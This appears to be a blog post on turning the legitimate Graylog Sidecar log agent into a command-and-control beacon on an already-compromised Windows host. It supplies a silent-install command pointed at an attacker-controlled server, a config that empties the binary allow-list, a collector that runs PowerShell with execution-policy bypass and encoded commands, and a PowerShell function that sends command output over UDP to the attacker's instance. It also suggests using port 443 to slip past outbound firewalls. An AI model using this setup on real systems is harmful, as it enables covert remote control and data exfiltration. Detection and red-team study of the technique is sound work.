Graylog Sidecar as a C2 Beacon

Table of Contents

Introduction

Imagine you’ve successfully gained access to a host and have escalated to a local admin. Now, your objective is to establish a beacon for remote command execution. While there are numerous C2 frameworks available online for this purpose, let’s make things interesting by abusing a legitimate tool instead.

Graylog is an open-source log management solution. One component of this product is the ‘Sidecar’ agent, which can be likened to Splunk’s ‘Universal Forwarder.’ Its primary purpose is to allow centralized configuration management for various log collectors directly from the Graylog platform. The Sidecar agent comes pre-packaged with commonly used collectors like Filebeat and Winlogbeat. However, it also provides the flexibility to define your own collector binaries and configuration files, enabling you to use alternative collectors like NXLog.

While the default configuration of the Sidecar agent restricts the execution of unapproved binaries, once you have privileged access to the host, there are avenues to bypass these limitations. For instance, you could bring in your own copy of the Sidecar agent with an insecure configuration or modify the existing configuration to point the agent to a Graylog instance that we control and allow the execution of unauthorized binaries.

Default Configuration

# A list of binaries which are allowed to be executed by the Sidecar. An empty list disables the access list feature.
# Wildcards can be used, for a full pattern description see https://golang.org/pkg/path/filepath/#Match
# Default:
# collector_binaries_accesslist:
#  - "C:\\Program Files\\Graylog\\sidecar\\filebeat.exe"
#  - "C:\\Program Files\\Graylog\\sidecar\\winlogbeat.exe"
#  - "C:\\Program Files\\Filebeat\\filebeat.exe"
#  - "C:\\Program Files\\Packetbeat\\packetbeat.exe"
#  - "C:\\Program Files\\Metricbeat\\metricbeat.exe"
#  - "C:\\Program Files\\Heartbeat\\heartbeat.exe"
#  - "C:\\Program Files\\Auditbeat\\auditbeat.exe"
#  - "C:\\Program Files (x86)\\nxlog\\nxlog.exe"

Allowing unrestricted execution

collector_binaries_accessList: []

The Plan

The Sidecar agent will periodically (10seconds by default) check in to the Graylog server. During each check-in, the agent compares the configuration file and collector definitions with the previous state. If any changes are detected, the updated configuration is retrieved from the Graylog server, and the relevant collector is restarted to apply the modifications. We’ll define a collector that launches PowerShell with customizable arguments from our Graylog instance. The Sidecar agent will execute the command with powershell, and the output will be sent back to Graylog as a log message.

Command Flow

Creating the Demo Environment

Spinning up a Graylog Instance

You can find detailed instructions for installing Graylog in the official documentation. if you’re looking for a quick demo, the Docker setup is a good option. You can obtain the docker-compose file for the latest build and set up an instance relatively quickly.

Preparing Your Graylog Instance

Once you have Graylog up and running, there are a couple of things we need to setup. First, create a new UDP Syslog input to receive the output from the executed commands. Navigate to ‘System -> Inputs -> Create New Input’ to do this. In this demo, a random port will be used. However, you have the option to set up a syslog server on a common port like 443, which can then forward the logs to your Graylog instance. This approach can help overcome outbound firewall blocks to arbitrary ports.

New Syslog Input

Next, you want to create an API token that Sidecar uses to communicate with your instance. If you navigate to ‘System -> Users & Teams’, there is an built-in ‘Sidecar Sytem User’ that has the necessary permissions. Hit ‘Edit Token’ on this user and generate a new token.

New API Token

Installing Sidecar Agent

On the host you want to control, you simply need to find a way to get the official Sidecar installer to run with silent install options to point it to your Graylog instance.

graylog_sidecar_setup.exe /S -SERVERURL=http://your Graylog IP address or DNS name/api -APITOKEN=yourapitoken

Finally, replace the default config file found alongside the ‘graylog-sidecar.exe’ binary with the below contents in a file named ‘sidecar.yml’. If all goes well, you should see a new device entry in the ‘System -> Sidecar’ page.

# The URL to the Graylog server API.
# Default: "http://127.0.0.1:9000/api/"
server_url: "http://<YOUR_GRAYLOG_INSTANCE>/api"
# The API token to use to authenticate against the Graylog server API.
# Default: none
server_api_token: "<YOUR_API_TOKEN>"
node_id: "file:C:\\Program Files\\Graylog\\sidecar\\node-id"
node_name: ""
update_interval: 10
tls_skip_verify: false
send_status: true
collector_binaries_accesslist: []

Executing a Command

For the demo, I will be using this simple powershell script that grabs the current user and then sends the result to input we configured earlier.

Function Send-GLMessage {
    Param(
        [String]$MSG
    )

    
    $UDPCLient = New-Object System.Net.Sockets.UdpClient
    $UDPCLient.Connect("<GL Instance URL>", <SYSLOG PORT>)

    $Encoding = [System.Text.Encoding]::ASCII

    $ByteSyslogMessage = $Encoding.GetBytes($MSG)
    $UDPCLient.Send($ByteSyslogMessage, $ByteSyslogMessage.Length)
 

}
$out = ([Security.Principal.WindowsIdentity]::GetCurrent()).Name
Send-GLMessage $out

In ‘System -> Sidecars -> Configuration’, create a new ‘Log Collector’ with the below configuration options.

  • Name: Name your collecter.
  • Process Management: Foreground Execution
  • Operating System: Windows
  • Executable Path: Path the the binary you want to run, in this case this is the path to Powershell.exe
  • Execute Parameters: The command line arguments you want to pass to your binary. In this case we will use ‘-ExecutionPolicy Bypass -EncodedCommand “BASE64_Command_Here”

Example

Next, on the same page, create a new configuration and select your new log collecter for the collector type. Then, switch to the ‘Administration’ tab and assign the config to your sidecar agent. Within a couple seconds you should see a new message in Graylog with the output of your command. As you can see on the right-hand side, the powershell process is spawned as a child ‘graylog-sidecar.exe’ and inherits its system permissions.

New API Token

Streamlining the Process

Now that we have confirmed the ability to execute commands and receive results, let’s streamline the process. We need to address a couple of peculiarities: firstly, the command executing multiple times due to Sidecar attempting to restart our ‘collector,’ and secondly, the impracticality of manually updating settings in the GUI for each command we want to run.

Below is a demo of a simple POC Python tool. It connects to a sidecar host within Graylog and provides a simulated PowerShell terminal. You can enter your command, which the Python script injects into a template PowerShell script. The template includes code for sending the response to the Graylog cluster and preventing multiple command executions. The injected script is then converted to base64, and the Graylog API is used to update the ‘TEST’ collector, similar to our manual process earlier. The tool continuously polls the Graylog API for a message entry containing the response and displays it on the console.

In the example below, the Python tool is displayed on the right, where I enter commands. On the left-hand side, you can see Graylog receiving the messages after Sidecar executes the command, followed shortly by the response appearing in my terminal window.

GraylogC2.py

Summary

The viability of this approach is questionable, especially in the example provided where you are simply executing standard PowerShell commands. While you might succeed in deploying the tool initially because it is a legitimate binary, any competent EDR will raise alarms when it detects “suspicious” commands being executed and other processes being spawned. However, with the Sidecar agent, you have the flexibility to specify any binary, so there is nothing stopping you from remotely invoking and passing arguments to the various tools out there that can execute commands in a stealthier manner.